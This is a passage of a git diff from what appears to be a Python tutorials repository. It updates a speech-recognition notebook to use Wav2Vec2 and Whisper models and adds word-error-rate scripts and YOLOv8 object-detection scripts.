-            "layout": "IPY_MODEL_e61138f39e7641ec93671c21a645720a",
-            "placeholder": "​",
-            "style": "IPY_MODEL_c66ba171d6864e76b33884dcc53b1d1c",
-            "value": " 1.18G/1.18G [00:31&lt;00:00, 44.3MB/s]"
-          }
-        },
-        "fb5bf22faf6348819bf9bd484dbf05e2": {
-          "model_module": "@jupyter-widgets/base",
-          "model_module_version": "1.2.0",
-          "model_name": "LayoutModel",
-          "state": {
-            "_model_module": "@jupyter-widgets/base",
-            "_model_module_version": "1.2.0",
-            "_model_name": "LayoutModel",
-            "_view_count": null,
-            "_view_module": "@jupyter-widgets/base",
-            "_view_module_version": "1.2.0",
-            "_view_name": "LayoutView",
-            "align_content": null,
-            "align_items": null,
-            "align_self": null,
-            "border": null,
-            "bottom": null,
-            "display": null,
-            "flex": null,
-            "flex_flow": null,
-            "grid_area": null,
-            "grid_auto_columns": null,
-            "grid_auto_flow": null,
-            "grid_auto_rows": null,
-            "grid_column": null,
-            "grid_gap": null,
-            "grid_row": null,
-            "grid_template_areas": null,
-            "grid_template_columns": null,
-            "grid_template_rows": null,
-            "height": null,
-            "justify_content": null,
-            "justify_items": null,
-            "left": null,
-            "margin": null,
-            "max_height": null,
-            "max_width": null,
-            "min_height": null,
-            "min_width": null,
-            "object_fit": null,
-            "object_position": null,
-            "order": null,
-            "overflow": null,
-            "overflow_x": null,
-            "overflow_y": null,
-            "padding": null,
-            "right": null,
-            "top": null,
-            "visibility": null,
-            "width": null
+            "button_color": null,
+            "font_weight": ""
           }
         }
       }
diff --git a/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.py b/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.py
index fa0add32..8cd7f7ba 100644
--- a/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.py
+++ b/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.py
@@ -1,5 +1,5 @@
 # %%
-# !pip install transformers==4.11.2 datasets soundfile sentencepiece torchaudio pyaudio
+!pip install transformers==4.28.1 soundfile sentencepiece torchaudio pydub
 
 # %%
 from transformers import *
@@ -9,12 +9,21 @@
 import os
 import torchaudio
 
+device = "cuda:0" if torch.cuda.is_available() else "cpu"
+
+# %% [markdown]
+# # Wav2Vec2.0 Models
+# 
+
 # %%
-# model_name = "facebook/wav2vec2-base-960h" # 360MB
-model_name = "facebook/wav2vec2-large-960h-lv60-self" # 1.18GB
+# wav2vec2_model_name = "facebook/wav2vec2-base-960h" # 360MB
+wav2vec2_model_name = "facebook/wav2vec2-large-960h-lv60-self" # pretrained 1.26GB
+# wav2vec2_model_name = "jonatasgrosman/wav2vec2-large-xlsr-53-english" # English-only, 1.26GB
+# wav2vec2_model_name = "jonatasgrosman/wav2vec2-large-xlsr-53-arabic" # Arabic-only, 1.26GB
+# wav2vec2_model_name = "jonatasgrosman/wav2vec2-large-xlsr-53-spanish" # Spanish-only, 1.26GB
 
-processor = Wav2Vec2Processor.from_pretrained(model_name)
-model = Wav2Vec2ForCTC.from_pretrained(model_name)
+wav2vec2_processor = Wav2Vec2Processor.from_pretrained(wav2vec2_model_name)
+wav2vec2_model = Wav2Vec2ForCTC.from_pretrained(wav2vec2_model_name).to(device)
 
 # %%
 # audio_url = "http://www.fit.vutbr.cz/~motlicek/sympatex/f2bjrop1.0.wav"
@@ -22,8 +31,8 @@
 # audio_url = "http://www.fit.vutbr.cz/~motlicek/sympatex/f2btrop6.0.wav"
 # audio_url = "https://github.com/x4nth055/pythoncode-tutorials/raw/master/machine-learning/speech-recognition/16-122828-0002.wav"
 audio_url = "https://github.com/x4nth055/pythoncode-tutorials/raw/master/machine-learning/speech-recognition/30-4447-0004.wav"
+# audio_url = "https://www.voiptroubleshooter.com/open_speech/american/OSR_us_000_0060_8k.wav"
 # audio_url = "https://github.com/x4nth055/pythoncode-tutorials/raw/master/machine-learning/speech-recognition/7601-291468-0006.wav"
-# audio_url = "https://file-examples-com.github.io/uploads/2017/11/file_example_WAV_1MG.wav"
 # audio_url = "http://www0.cs.ucl.ac.uk/teaching/GZ05/samples/lathe.wav"
 
 # %%
@@ -42,12 +51,12 @@
 
 # %%
 # tokenize our wav
-input_values = processor(speech, return_tensors="pt", sampling_rate=16000)["input_values"]
+input_values = wav2vec2_processor(speech, return_tensors="pt", sampling_rate=16000)["input_values"].to(device)
 input_values.shape
 
 # %%
 # perform inference
-logits = model(input_values)["logits"]
+logits = wav2vec2_model(input_values)["logits"]
 logits.shape
 
 # %%
@@ -57,85 +66,168 @@
 
 # %%
 # decode the IDs to text
-transcription = processor.decode(predicted_ids[0])
+transcription = wav2vec2_processor.decode(predicted_ids[0])
 transcription.lower()
 
 # %%
-def get_transcription(audio_path):
+def load_audio(audio_path):
+  """Load the audio file & convert to 16,000 sampling rate"""
   # load our wav file
   speech, sr = torchaudio.load(audio_path)
-  speech = speech.squeeze()
-  # or using librosa
-  # speech, sr = librosa.load(audio_file, sr=16000)
-  # resample from whatever the audio sampling rate to 16000
   resampler = torchaudio.transforms.Resample(sr, 16000)
   speech = resampler(speech)
-  # tokenize our wav
-  input_values = processor(speech, return_tensors="pt", sampling_rate=16000)["input_values"]
+  return speech.squeeze()
+
+# %%
+def get_transcription_wav2vec2(audio_path, model, processor):
+  speech = load_audio(audio_path)
+  input_features = processor(speech, return_tensors="pt", sampling_rate=16000)["input_values"].to(device)
   # perform inference
-  logits = model(input_values)["logits"]
+  logits = model(input_features)["logits"]
   # use argmax to get the predicted IDs
   predicted_ids = torch.argmax(logits, dim=-1)
-  # decode the IDs to text
-  transcription = processor.decode(predicted_ids[0])
+  transcription = processor.batch_decode(predicted_ids)[0]
   return transcription.lower()
 
 # %%
-get_transcription(audio_url)
+get_transcription_wav2vec2("http://www0.cs.ucl.ac.uk/teaching/GZ05/samples/lathe.wav", 
+                           wav2vec2_model, 
+                           wav2vec2_processor)
+
+# %% [markdown]
+# # Whisper Models
+
+# %%
+# whisper_model_name = "openai/whisper-tiny.en" # English-only, ~ 151 MB
+# whisper_model_name = "openai/whisper-base.en" # English-only, ~ 290 MB
+# whisper_model_name = "openai/whisper-small.en" # English-only, ~ 967 MB
+# whisper_model_name = "openai/whisper-medium.en" # English-only, ~ 3.06 GB
+# whisper_model_name = "openai/whisper-tiny" # multilingual, ~ 151 MB
+# whisper_model_name = "openai/whisper-base" # multilingual, ~ 290 MB
+# whisper_model_name = "openai/whisper-small" # multilingual, ~ 967 MB
+whisper_model_name = "openai/whisper-medium" # multilingual, ~ 3.06 GB
+# whisper_model_name = "openai/whisper-large-v2" # multilingual, ~ 6.17 GB
+
+whisper_processor = WhisperProcessor.from_pretrained(whisper_model_name)
+whisper_model = WhisperForConditionalGeneration.from_pretrained(whisper_model_name).to(device)
+
+# %%
+input_features = whisper_processor(load_audio(audio_url), sampling_rate=16000, return_tensors="pt").input_features.to(device)
+
+# %%
+forced_decoder_ids = whisper_processor.get_decoder_prompt_ids(language="english", task="transcribe")
+
+# %%
+forced_decoder_ids
+
+# %%
+input_features.shape
+
+# %%
+predicted_ids = whisper_model.generate(input_features, forced_decoder_ids=forced_decoder_ids)
+predicted_ids.shape
+
+# %%
+transcription = whisper_processor.batch_decode(predicted_ids, skip_special_tokens=True)
+transcription
+
+# %%
+transcription = whisper_processor.batch_decode(predicted_ids, skip_special_tokens=False)
+transcription
+
+# %%
+def get_transcription_whisper(audio_path, model, processor, language="english", skip_special_tokens=True):
+  # resample from whatever the audio sampling rate to 16000
+  speech = load_audio(audio_path)
+  input_features = processor(speech, return_tensors="pt", sampling_rate=16000).input_features
+  forced_decoder_ids = processor.get_decoder_prompt_ids(language=language, task="transcribe")
+  # print(forced_decoder_ids)
+  predicted_ids = model.generate(input_features, forced_decoder_ids=forced_decoder_ids)
+  transcription = processor.batch_decode(predicted_ids, skip_special_tokens=skip_special_tokens)[0]
+  return transcription
+
+# %%
+arabic_transcription = get_transcription_whisper("https://datasets-server.huggingface.co/assets/arabic_speech_corpus/--/clean/train/0/audio/audio.wav",
+                          whisper_model,
+                          whisper_processor,
+                          language="arabic",
+                          skip_special_tokens=True)
+arabic_transcription
+
+# %%
+spanish_transcription = get_transcription_whisper("https://www.lightbulblanguages.co.uk/resources/sp-audio/cual-es-la-fecha-cumple.mp3",
+                          whisper_model,
+                          whisper_processor,
+                          language="spanish",
+                          skip_special_tokens=True)
+spanish_transcription
+
+# %%
+from transformers.models.whisper.tokenization_whisper import TO_LANGUAGE_CODE 
+# supported languages
+TO_LANGUAGE_CODE 
+
+# %% [markdown]
+# # Transcribe your Voice
 
 # %%
-import pyaudio
-import wave
+!git clone -q --depth 1 https://github.com/snakers4/silero-models
 
-# the file name output you want to record into
-filename = "recorded.wav"
-# set the chunk size of 1024 samples
-chunk = 1024
-# sample format
-FORMAT = pyaudio.paInt16
-# mono, change to 2 if you want stereo
-channels = 1
-# 44100 samples per second
+%cd silero-models
+
+# %%
+from IPython.display import Audio, display, clear_output
+from colab_utils import record_audio
+import ipywidgets as widgets
+from scipy.io import wavfile
+import numpy as np
+
+
+record_seconds =   20#@param {type:"number", min:1, max:10, step:1}
 sample_rate = 16000
-record_seconds = 10
-# initialize PyAudio object
-p = pyaudio.PyAudio()
-# open stream object as input & output
-stream = p.open(format=FORMAT,
-                channels=channels,
-                rate=sample_rate,
-                input=True,
-                output=True,
-                frames_per_buffer=chunk)
-frames = []
-print("Recording...")
-for i in range(int(sample_rate / chunk * record_seconds)):
-    data = stream.read(chunk)
-    # if you want to hear your voice while recording
-    # stream.write(data)
-    frames.append(data)
-print("Finished recording.")
-# stop and close stream
-stream.stop_stream()
-stream.close()
-# terminate pyaudio object
-p.terminate()
-# save audio file
-# open the file in 'write bytes' mode
-wf = wave.open(filename, "wb")
-# set the channels
-wf.setnchannels(channels)
-# set the sample format
-wf.setsampwidth(p.get_sample_size(FORMAT))
-# set the sample rate
-wf.setframerate(sample_rate)
-# write the frames as bytes
-wf.writeframes(b"".join(frames))
-# close the file
-wf.close()
-
-# %%
-get_transcription("recorded.wav")
+
+def _record_audio(b):
+  clear_output()
+  audio = record_audio(record_seconds)
+  display(Audio(audio, rate=sample_rate, autoplay=True))
+  wavfile.write('recorded.wav', sample_rate, (32767*audio).numpy().astype(np.int16))
+
+button = widgets.Button(description="Record Speech")
+button.on_click(_record_audio)
+display(button)
+
+# %%
+print("Whisper:", get_transcription_whisper("recorded.wav", whisper_model, whisper_processor))
+print("Wav2vec2:", get_transcription_wav2vec2("recorded.wav", wav2vec2_model, wav2vec2_processor))
+
+# %% [markdown]
+# # Transcribing Long Audio Samples
+
+# %%
+def get_long_transcription_whisper(audio_path, pipe, return_timestamps=True, 
+                                   chunk_length_s=10, stride_length_s=2):
+    """Get the transcription of a long audio file using the Whisper model"""
+    return pipe(load_audio(audio_path).numpy(), return_timestamps=return_timestamps,
+                  chunk_length_s=chunk_length_s, stride_length_s=stride_length_s)
+
+# %%
+# initialize the pipeline
+pipe = pipeline("automatic-speech-recognition", 
+                model=whisper_model_name, device=device)
+
+# %%
+# get the transcription of a sample long audio file
+output = get_long_transcription_whisper(
+    "https://www.voiptroubleshooter.com/open_speech/american/OSR_us_000_0060_8k.wav", 
+    pipe, chunk_length_s=10, stride_length_s=1)
+
+# %%
+output["text"]
+
+# %%
+for chunk in output["chunks"]:
+  # print the timestamp and the text
+  print(chunk["timestamp"], ":", chunk["text"])
 
 # %%
 
diff --git a/machine-learning/nlp/speech-recognition-transformers/README.md b/machine-learning/nlp/speech-recognition-transformers/README.md
index a7653ab5..37c9ac98 100644
--- a/machine-learning/nlp/speech-recognition-transformers/README.md
+++ b/machine-learning/nlp/speech-recognition-transformers/README.md
@@ -2,4 +2,4 @@
 To get it running:
 - `pip3 install -r requirements.txt`
 
-Check the [the tutorial](https://www.thepythoncode.com/article/speech-recognition-using-huggingface-transformers-in-python) and the [Colab notebook](https://colab.research.google.com/drive/1-0M8zvQrOzlZ8U8l7KdPOuLBNtzqtlsz?usp=sharing) for more information.
\ No newline at end of file
+Check the [the tutorial](https://www.thepythoncode.com/article/speech-recognition-using-huggingface-transformers-in-python) and the [Colab notebook](https://colab.research.google.com/drive/1NwX-czUflXUEMoZNfoKgCQTsjcMKSUul) for more information.
\ No newline at end of file
diff --git a/machine-learning/nlp/speech-recognition-transformers/requirements.txt b/machine-learning/nlp/speech-recognition-transformers/requirements.txt
index 4cc3d03a..ab309e08 100644
--- a/machine-learning/nlp/speech-recognition-transformers/requirements.txt
+++ b/machine-learning/nlp/speech-recognition-transformers/requirements.txt
@@ -1,4 +1,4 @@
-transformers==4.11.2
+transformers==4.28.1
 soundfile
 sentencepiece
 torchaudio
diff --git a/machine-learning/nlp/wer-score/README.md b/machine-learning/nlp/wer-score/README.md
new file mode 100644
index 00000000..8e33c7f9
--- /dev/null
+++ b/machine-learning/nlp/wer-score/README.md
@@ -0,0 +1,6 @@
+# [Word Error Rate in Python](https://www.thepythoncode.com/article/calculate-word-error-rate-in-python)
+- `pip install -r requirements.txt`
+- `wer_basic.py` is the basic implementation of WER algorithm.
+- `wer_accurate.py` is the accurate implementation of WER algorithm.
+- `wer_jiwer.py` is the implementation of WER algorithm using [jiwer](https://pypi.org/project/jiwer/).
+- `wer_evaluate.py` is the implementation of WER algorithm using [evaluate](https://pypi.org/project/evaluate/).
\ No newline at end of file
diff --git a/machine-learning/nlp/wer-score/requirements.txt b/machine-learning/nlp/wer-score/requirements.txt
new file mode 100644
index 00000000..577cfc06
--- /dev/null
+++ b/machine-learning/nlp/wer-score/requirements.txt
@@ -0,0 +1,3 @@
+numpy
+jiwer
+evaluate
\ No newline at end of file
diff --git a/machine-learning/nlp/wer-score/wer_accurate.py b/machine-learning/nlp/wer-score/wer_accurate.py
new file mode 100644
index 00000000..b5dbc29a
--- /dev/null
+++ b/machine-learning/nlp/wer-score/wer_accurate.py
@@ -0,0 +1,44 @@
+import numpy as np
+
+def calculate_wer(reference, hypothesis):
+    # Split the reference and hypothesis sentences into words
+    ref_words = reference.split()
+    hyp_words = hypothesis.split()
+    # Initialize a matrix with size |ref_words|+1 x |hyp_words|+1
+    # The extra row and column are for the case when one of the strings is empty
+    d = np.zeros((len(ref_words) + 1, len(hyp_words) + 1))
+    # The number of operations for an empty hypothesis to become the reference
+    # is just the number of words in the reference (i.e., deleting all words)
+    for i in range(len(ref_words) + 1):
+        d[i, 0] = i
+    # The number of operations for an empty reference to become the hypothesis
+    # is just the number of words in the hypothesis (i.e., inserting all words)
+    for j in range(len(hyp_words) + 1):
+        d[0, j] = j
+    # Iterate over the words in the reference and hypothesis
+    for i in range(1, len(ref_words) + 1):
+        for j in range(1, len(hyp_words) + 1):
+            # If the current words are the same, no operation is needed
+            # So we just take the previous minimum number of operations
+            if ref_words[i - 1] == hyp_words[j - 1]:
+                d[i, j] = d[i - 1, j - 1]
+            else:
+                # If the words are different, we consider three operations:
+                # substitution, insertion, and deletion
+                # And we take the minimum of these three possibilities
+                substitution = d[i - 1, j - 1] + 1
+                insertion = d[i, j - 1] + 1
+                deletion = d[i - 1, j] + 1
+                d[i, j] = min(substitution, insertion, deletion)
+    # The minimum number of operations to transform the hypothesis into the reference
+    # is in the bottom-right cell of the matrix
+    # We divide this by the number of words in the reference to get the WER
+    wer = d[len(ref_words), len(hyp_words)] / len(ref_words)
+    return wer
+
+
+
+if __name__ == "__main__":
+    reference = "The cat is sleeping on the mat."
+    hypothesis = "The cat is playing on mat."
+    print(calculate_wer(reference, hypothesis))
diff --git a/machine-learning/nlp/wer-score/wer_basic.py b/machine-learning/nlp/wer-score/wer_basic.py
new file mode 100644
index 00000000..9cc3917b
--- /dev/null
+++ b/machine-learning/nlp/wer-score/wer_basic.py
@@ -0,0 +1,21 @@
+def calculate_wer(reference, hypothesis):
+	ref_words = reference.split()
+	hyp_words = hypothesis.split()
+ 
+	# Counting the number of substitutions, deletions, and insertions
+	substitutions = sum(1 for ref, hyp in zip(ref_words, hyp_words) if ref != hyp)
+	deletions = len(ref_words) - len(hyp_words)
+	insertions = len(hyp_words) - len(ref_words)
+ 
+	# Total number of words in the reference text
+	total_words = len(ref_words)
+ 
+	# Calculating the Word Error Rate (WER)
+	wer = (substitutions + deletions + insertions) / total_words
+	return wer
+
+
+if __name__ == "__main__":
+    reference = "the cat sat on the mat"
+    hypothesis = "the cat mat"
+    print(calculate_wer(reference, hypothesis))
\ No newline at end of file
diff --git a/machine-learning/nlp/wer-score/wer_evaluate.py b/machine-learning/nlp/wer-score/wer_evaluate.py
new file mode 100644
index 00000000..818bf408
--- /dev/null
+++ b/machine-learning/nlp/wer-score/wer_evaluate.py
@@ -0,0 +1,9 @@
+import evaluate
+
+wer = evaluate.load("wer")
+
+# reference = "the cat sat on the mat"
+# hypothesis = "the cat mat"
+reference = "The cat is sleeping on the mat."
+hypothesis = "The cat is playing on mat."
+print(wer.compute(references=[reference], predictions=[hypothesis]))
\ No newline at end of file
diff --git a/machine-learning/nlp/wer-score/wer_jiwer.py b/machine-learning/nlp/wer-score/wer_jiwer.py
new file mode 100644
index 00000000..28fa9572
--- /dev/null
+++ b/machine-learning/nlp/wer-score/wer_jiwer.py
@@ -0,0 +1,8 @@
+from jiwer import wer
+
+if __name__ == "__main__":
+    # reference = "the cat sat on the mat"
+    # hypothesis = "the cat mat"
+    reference = "The cat is sleeping on the mat."
+    hypothesis = "The cat is playing on mat."
+    print(wer(reference, hypothesis))
\ No newline at end of file
diff --git a/machine-learning/object-detection/1.mp4 b/machine-learning/object-detection/1.mp4
new file mode 100644
index 00000000..44305cce
Binary files /dev/null and b/machine-learning/object-detection/1.mp4 differ
diff --git a/machine-learning/object-detection/README.md b/machine-learning/object-detection/README.md
index ddb8f0bd..a73112ac 100644
--- a/machine-learning/object-detection/README.md
+++ b/machine-learning/object-detection/README.md
@@ -1,20 +1,19 @@
 # [How to Perform YOLO Object Detection using OpenCV and PyTorch in Python](https://www.thepythoncode.com/article/yolo-object-detection-with-opencv-and-pytorch-in-python)
 To run this:
 - `pip3 install -r requirements.txt`
-- Download the [model weights](https://pjreddie.com/media/files/yolov3.weights) and put them in `weights` folder.
 - To generate a object detection image on `images/dog.jpg`:
     ```
-    python yolo_opencv.py images/dog.jpg
+    python yolov8_opencv.py images/dog.jpg
     ```
-    A new image `dog_yolo3.jpg` will appear which has the bounding boxes of different objects in the image.
+    A new image `dog_yolo8.jpg` will appear which has the bounding boxes of different objects in the image.
 - For live object detection:
     ```
-    python live_yolo_opencv.py
+    python live_yolov8_opencv.py
     ```
 - If you want to read from a video file and make predictions:
     ```
-    python read_video.py video.avi
+    python read_video_yolov8.py 1.mp4
     ```
     This will start detecting objects in that video, in the end, it'll save the resulting video to `output.avi`
-- If you wish to use PyTorch for GPU acceleration, please install PyTorch CUDA [here](https://pytorch.org/get-started) and use `yolo.py` file.
+- Old files for YOLOv3: `yolo_opencv.py`, `live_yolo_opencv.py`, `read_video.py`
 - Feel free to edit the codes for your needs!
diff --git a/machine-learning/object-detection/live_yolov8_opencv.py b/machine-learning/object-detection/live_yolov8_opencv.py
new file mode 100644
index 00000000..c91b13d2
--- /dev/null
+++ b/machine-learning/object-detection/live_yolov8_opencv.py
@@ -0,0 +1,75 @@
+import cv2
+import numpy as np
+
+import time
+import sys
+
+from ultralytics import YOLO
+
+
+CONFIDENCE = 0.5
+font_scale = 1
+thickness = 1
+labels = open("data/coco.names").read().strip().split("\n")
+colors = np.random.randint(0, 255, size=(len(labels), 3), dtype="uint8")
+
+model = YOLO("yolov8n.pt")
+
+cap = cv2.VideoCapture(0)
+_, image = cap.read()
+h, w = image.shape[:2]
+fourcc = cv2.VideoWriter_fourcc(*"XVID")
+out = cv2.VideoWriter("output.avi", fourcc, 20.0, (w, h))
+while True:
+    _, image = cap.read()
+    
+    start = time.perf_counter()
+    # run inference on the image 
+    # see: https://docs.ultralytics.com/modes/predict/#arguments for full list of arguments
+    results = model.predict(image, conf=CONFIDENCE)[0]
+    time_took = time.perf_counter() - start
+    print("Time took:", time_took)
+
+    # loop over the detections
+    for data in results.boxes.data.tolist():
+        # get the bounding box coordinates, confidence, and class id 
+        xmin, ymin, xmax, ymax, confidence, class_id = data
+        # converting the coordinates and the class id to integers
+        xmin = int(xmin)
+        ymin = int(ymin)
+        xmax = int(xmax)
+        ymax = int(ymax)
+        class_id = int(class_id)
+
+        # draw a bounding box rectangle and label on the image
+        color = [int(c) for c in colors[class_id]]
+        cv2.rectangle(image, (xmin, ymin), (xmax, ymax), color=color, thickness=thickness)
+        text = f"{labels[class_id]}: {confidence:.2f}"
+        # calculate text width & height to draw the transparent boxes as background of the text
+        (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0]
+        text_offset_x = xmin
+        text_offset_y = ymin - 5
+        box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height))
+        overlay = image.copy()
+        cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED)
+        # add opacity (transparency to the box)
+        image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0)
+        # now put the text (label: confidence %)
+        cv2.putText(image, text, (xmin, ymin - 5), cv2.FONT_HERSHEY_SIMPLEX,
+            fontScale=font_scale, color=(0, 0, 0), thickness=thickness)
+
+    # end time to compute the fps
+    end = time.perf_counter()
+    # calculate the frame per second and draw it on the frame
+    fps = f"FPS: {1 / (end - start):.2f}"
+    cv2.putText(image, fps, (50, 50),
+                cv2.FONT_HERSHEY_SIMPLEX, 2, (0, 255, 0), 6)
+    out.write(image)
+    cv2.imshow("image", image)
+    
+    if ord("q") == cv2.waitKey(1):
+        break
+
+
+cap.release()
+cv2.destroyAllWindows()
\ No newline at end of file
diff --git a/machine-learning/object-detection/read_video_yolov8.py b/machine-learning/object-detection/read_video_yolov8.py
new file mode 100644
index 00000000..3d02fddf
--- /dev/null
+++ b/machine-learning/object-detection/read_video_yolov8.py
@@ -0,0 +1,79 @@
+import cv2
+import numpy as np
+
+import time
+import sys
+
+from ultralytics import YOLO
+
+# define some parameters
+CONFIDENCE = 0.5
+font_scale = 1
+thickness = 1
+labels = open("data/coco.names").read().strip().split("\n")
+colors = np.random.randint(0, 255, size=(len(labels), 3), dtype="uint8")
+
+# loading the YOLOv8 model with the default weight file
+model = YOLO("yolov8n.pt")
+
+# read the file from the command line
+video_file = sys.argv[1]
+cap = cv2.VideoCapture(video_file)
+_, image = cap.read()
+h, w = image.shape[:2]
+fourcc = cv2.VideoWriter_fourcc(*"XVID")
+out = cv2.VideoWriter("output.avi", fourcc, 20.0, (w, h))
+while True:
+    _, image = cap.read()
+    
+    start = time.perf_counter()
+    results = model.predict(image, conf=CONFIDENCE)[0]
+    time_took = time.perf_counter() - start
+    print("Time took:", time_took)
+
+    # loop over the detections
+    for data in results.boxes.data.tolist():
+        # get the bounding box coordinates, confidence, and class id 
+        xmin, ymin, xmax, ymax, confidence, class_id = data
+        # converting the coordinates and the class id to integers
+        xmin = int(xmin)
+        ymin = int(ymin)
+        xmax = int(xmax)
+        ymax = int(ymax)
+        class_id = int(class_id)
+
+        # draw a bounding box rectangle and label on the image
+        color = [int(c) for c in colors[class_id]]
+        cv2.rectangle(image, (xmin, ymin), (xmax, ymax), color=color, thickness=thickness)
+        text = f"{labels[class_id]}: {confidence:.2f}"
+        # calculate text width & height to draw the transparent boxes as background of the text
+        (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0]
+        text_offset_x = xmin
+        text_offset_y = ymin - 5
+        box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height))
+        try:
+            overlay = image.copy()
+        except:
+            break
+        cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED)
+        # add opacity (transparency to the box)
+        image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0)
+        # now put the text (label: confidence %)
+        cv2.putText(image, text, (xmin, ymin - 5), cv2.FONT_HERSHEY_SIMPLEX,
+            fontScale=font_scale, color=(0, 0, 0), thickness=thickness)
+
+    # end time to compute the fps
+    end = time.perf_counter()
+    # calculate the frame per second and draw it on the frame
+    fps = f"FPS: {1 / (end - start):.2f}"
+    cv2.putText(image, fps, (50, 50),
+                cv2.FONT_HERSHEY_SIMPLEX, 2, (0, 255, 0), 6)
+    out.write(image)
+    cv2.imshow("image", image)
+    
+    if ord("q") == cv2.waitKey(1):
+        break
+
+
+cap.release()
+cv2.destroyAllWindows()
\ No newline at end of file
diff --git a/machine-learning/object-detection/requirements.txt b/machine-learning/object-detection/requirements.txt
index ad07e21c..089e32c6 100644
--- a/machine-learning/object-detection/requirements.txt
+++ b/machine-learning/object-detection/requirements.txt
@@ -1,3 +1,4 @@
 opencv-python
 numpy
-matplotlib
\ No newline at end of file
+matplotlib
+ultralytics
\ No newline at end of file
diff --git a/machine-learning/object-detection/yolov8_opencv.py b/machine-learning/object-detection/yolov8_opencv.py
new file mode 100644
index 00000000..85b5a298
--- /dev/null
+++ b/machine-learning/object-detection/yolov8_opencv.py
@@ -0,0 +1,68 @@
+import numpy as np
+import os
+import cv2
+import time
+import sys
+from ultralytics import YOLO
+
+# define some parameters
+CONFIDENCE = 0.5
+font_scale = 1
+thickness = 1
+
+# loading the YOLOv8 model with the default weight file
+model = YOLO("yolov8n.pt")
+
+# loading all the class labels (objects)
+labels = open("data/coco.names").read().strip().split("\n")
+
+# generating colors for each object for later plotting
+colors = np.random.randint(0, 255, size=(len(labels), 3), dtype="uint8")
+
+path_name = sys.argv[1]
+image = cv2.imread(path_name)
+file_name = os.path.basename(path_name) # "dog.jpg"
+filename, ext = file_name.split(".") # "dog", "jpg"
+
+# measure how much it took in seconds
+start = time.perf_counter()
+# run inference on the image 
+# see: https://docs.ultralytics.com/modes/predict/#arguments for full list of arguments
+results = model.predict(image, conf=CONFIDENCE)[0]
+time_took = time.perf_counter() - start
+print(f"Time took: {time_took:.2f}s")
+print(results.boxes.data)
+
+# loop over the detections
+for data in results.boxes.data.tolist():
+    # get the bounding box coordinates, confidence, and class id 
+    xmin, ymin, xmax, ymax, confidence, class_id = data
+    # converting the coordinates and the class id to integers
+    xmin = int(xmin)
+    ymin = int(ymin)
+    xmax = int(xmax)
+    ymax = int(ymax)
+    class_id = int(class_id)
+
+    # draw a bounding box rectangle and label on the image
+    color = [int(c) for c in colors[class_id]]
+    cv2.rectangle(image, (xmin, ymin), (xmax, ymax), color=color, thickness=thickness)
+    text = f"{labels[class_id]}: {confidence:.2f}"
+    # calculate text width & height to draw the transparent boxes as background of the text
+    (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0]
+    text_offset_x = xmin
+    text_offset_y = ymin - 5
+    box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height))
+    overlay = image.copy()
+    cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED)
+    # add opacity (transparency to the box)
+    image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0)
+    # now put the text (label: confidence %)
+    cv2.putText(image, text, (xmin, ymin - 5), cv2.FONT_HERSHEY_SIMPLEX,
+        fontScale=font_scale, color=(0, 0, 0), thickness=thickness)
+
+# display output image
+cv2.imshow("Image", image)
+cv2.waitKey(0)
+# save output image to disk
+cv2.imwrite(filename + "_yolo8." + ext, image)
diff --git a/machine-learning/speech-recognition/long_audio_recognizer.py b/machine-learning/speech-recognition/long_audio_recognizer.py
index 2f8b66a0..f242f92c 100644
--- a/machine-learning/speech-recognition/long_audio_recognizer.py
+++ b/machine-learning/speech-recognition/long_audio_recognizer.py
@@ -7,16 +7,24 @@
 # create a speech recognition object
 r = sr.Recognizer()
 
-# a function that splits the audio file into chunks
+# a function to recognize speech in the audio file
+# so that we don't repeat ourselves in in other functions
+def transcribe_audio(path):
+    # use the audio file as the audio source
+    with sr.AudioFile(path) as source:
+        audio_listened = r.record(source)
+        # try converting it to text
+        text = r.recognize_google(audio_listened)
+    return text
+
+# a function that splits the audio file into chunks on silence
 # and applies speech recognition
-def get_large_audio_transcription(path):
-    """
-    Splitting the large audio file into chunks
-    and apply speech recognition on each of these chunks
-    """
+def get_large_audio_transcription_on_silence(path):
+    """Splitting the large audio file into chunks
+    and apply speech recognition on each of these chunks"""
     # open the audio file using pydub
-    sound = AudioSegment.from_wav(path)  
-    # split audio sound where silence is 700 miliseconds or more and get chunks
+    sound = AudioSegment.from_file(path)  
+    # split audio sound where silence is 500 miliseconds or more and get chunks
     chunks = split_on_silence(sound,
         # experiment with this value for your target audio file
         min_silence_len = 500,
@@ -37,24 +45,59 @@ def get_large_audio_transcription(path):
         chunk_filename = os.path.join(folder_name, f"chunk{i}.wav")
         audio_chunk.export(chunk_filename, format="wav")
         # recognize the chunk
-        with sr.AudioFile(chunk_filename) as source:
-            audio_listened = r.record(source)
-            # try converting it to text
-            try:
-                text = r.recognize_google(audio_listened)
-            except sr.UnknownValueError as e:
-                print("Error:", str(e))
-            else:
-                text = f"{text.capitalize()}. "
-                print(chunk_filename, ":", text)
-                whole_text += text
+        try:
+            text = transcribe_audio(chunk_filename)
+        except sr.UnknownValueError as e:
+            print("Error:", str(e))
+        else:
+            text = f"{text.capitalize()}. "
+            print(chunk_filename, ":", text)
+            whole_text += text
     # return the text for all chunks detected
     return whole_text
 
 
+# a function that splits the audio file into fixed interval chunks
+# and applies speech recognition
+def get_large_audio_transcription_fixed_interval(path, minutes=5):
